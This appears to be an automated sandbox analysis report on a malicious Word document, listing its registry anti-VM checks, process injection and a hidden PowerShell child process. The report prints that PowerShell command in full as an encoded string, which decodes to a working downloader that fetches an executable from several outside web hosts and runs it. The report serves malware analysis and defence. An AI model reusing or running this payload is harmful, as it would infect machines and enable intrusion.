Analysis
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max time kernel
30s -
max time network
29s -
resource
win10v191014
General
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Target
9922dd0e1d87176c3b2ae757878631637e389f7c8c86a9130842e15c25921ddc
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Sample
191217-99kzb1j5en
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SHA256
9922dd0e1d87176c3b2ae757878631637e389f7c8c86a9130842e15c25921ddc
Score
N/A
Malware Config
Signatures
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4984 WINWORD.EXE -
description ioc pid Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm 4984 WINWORD.EXE File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm 4984 WINWORD.EXE File opened for modification C:\Users\Admin\AppData\Local\Temp\9922dd0e1d87176c3b2ae757878631637e389f7c8c86a9130842e15c25921ddc.doc 4984 WINWORD.EXE File created C:\Users\Admin\AppData\Local\Temp\~$22dd0e1d87176c3b2ae757878631637e389f7c8c86a9130842e15c25921ddc.doc 4984 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
description ioc pid Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 4984 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4984 WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS 4984 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily 4984 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU 4984 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4984 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4624 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4624 Powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4984 WINWORD.EXE -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
description ioc pid Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer 4984 WINWORD.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName 4984 WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
description ioc pid Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 4984 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4984 WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4008 wrote to memory of 4436 4008 SppExtComObj.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9922dd0e1d87176c3b2ae757878631637e389f7c8c86a9130842e15c25921ddc.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Drops Office document
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Checks system information in the registry (likely anti-VM)
- Checks processor information in registry (likely anti-VM)
PID:4984
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4008
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:4436
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABWAHIAeQBsAGEAdgB6AHIAaQBlAD0AJwBUAHAAdQB6AHgAZQBxAGsAJwA7ACQAUQBxAGUAYQBhAG4AcwBvAHgAIAA9ACAAJwA2ADYAJwA7ACQAUQByAG0AaQB1AGkAYgBiAHIAYgBpAGMAPQAnAE8AZwBlAHAAZgB6AGQAcgBwAGsAbABmAG4AJwA7ACQATwBiAHUAeQB0AHgAYQBoAHoAcAB3AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAHEAZQBhAGEAbgBzAG8AeAArACcALgBlAHgAZQAnADsAJABHAHAAawBwAHoAaAB1AG4AbQBlAD0AJwBDAGgAYQBsAG0AdABhAGkAeAAnADsAJABPAGsAcQBhAG4AYgBrAGkAcwBlAHQAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBsAEkARQBOAHQAOwAkAFUAbgBjAHYAbgBkAG4AbgA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbABlAHIAbgBmAG8AcgBlAHgALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAEQAMQBQADUAVwBaAFMAagAvACoAaAB0AHQAcABzADoALwAvAHMAYwAuAGsAdQBsAG8AbgBnADYALgBjAG8AbQAvAGEAZABkAG8AbgBzAC8AZQBhAHMAZwB4ADgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAaQBuAGcAYQBwAG8AcgBlAHMAZQB4AHkAZQBzAGMAbwByAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AegB4AHEAMQBIAFIAQwBOAFoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHQAZQBjAGgAbgBvAHMAdABvAHIAZQBtAG0ALgBjAG8AbQAvAEMATwBQAFkAUgBJAEcASABUAC8AcQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AYgBlAHIAdAByAGUAbQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANABPADcAWQAzAE0AdQA3AEUALwAnAC4AIgBTAFAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQAVwBnAG8AeQBiAGIAeABwAHUAaABxAGwAPQAnAE4AYgByAHUAdAByAGsAeAB0AGEAawBvAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFgAbABxAGEAeQBuAGEAZwBoAHEAaQB2AHcAIABpAG4AIAAkAFUAbgBjAHYAbgBkAG4AbgApAHsAdAByAHkAewAkAE8AawBxAGEAbgBiAGsAaQBzAGUAdAAuACIARABvAHcAYABOAEwAbwBhAGAAZABGAEkAYABsAGUAIgAoACQAWABsAHEAYQB5AG4AYQBnAGgAcQBpAHYAdwAsACAAJABPAGIAdQB5AHQAeABhAGgAegBwAHcAKQA7ACQATgBsAG4AdAB1AG8AagBsAGoAcwA9ACcAUABuAHoAbQB2AG8AbgB6AHMAaQBvACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQATwBiAHUAeQB0AHgAYQBoAHoAcAB3ACkALgAiAEwAYABFAE4ARwBUAGgAIgAgAC0AZwBlACAAMgAzADEAOQA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABgAEEAUgBUACIAKAAkAE8AYgB1AHkAdAB4AGEAaAB6AHAAdwApADsAJABaAG4AbgBvAG0AYwB5AGQAaAB2AD0AJwBRAGkAZABwAGkAYgBoAGMAdgBqAHUAbwAnADsAYgByAGUAYQBrADsAJABNAHoAcwBlAHgAagB6AGsAPQAnAFkAdQBmAGoAcgBsAGYAZABpAGUAeABlAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgB3AHMAbwBwAHMAeQBhAD0AJwBaAGsAYwB4AHQAcwBnAHQAaABxAG4AJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4624